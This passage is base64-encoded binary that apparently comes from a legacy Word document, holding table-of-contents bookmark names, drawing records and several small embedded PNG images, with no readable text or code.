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 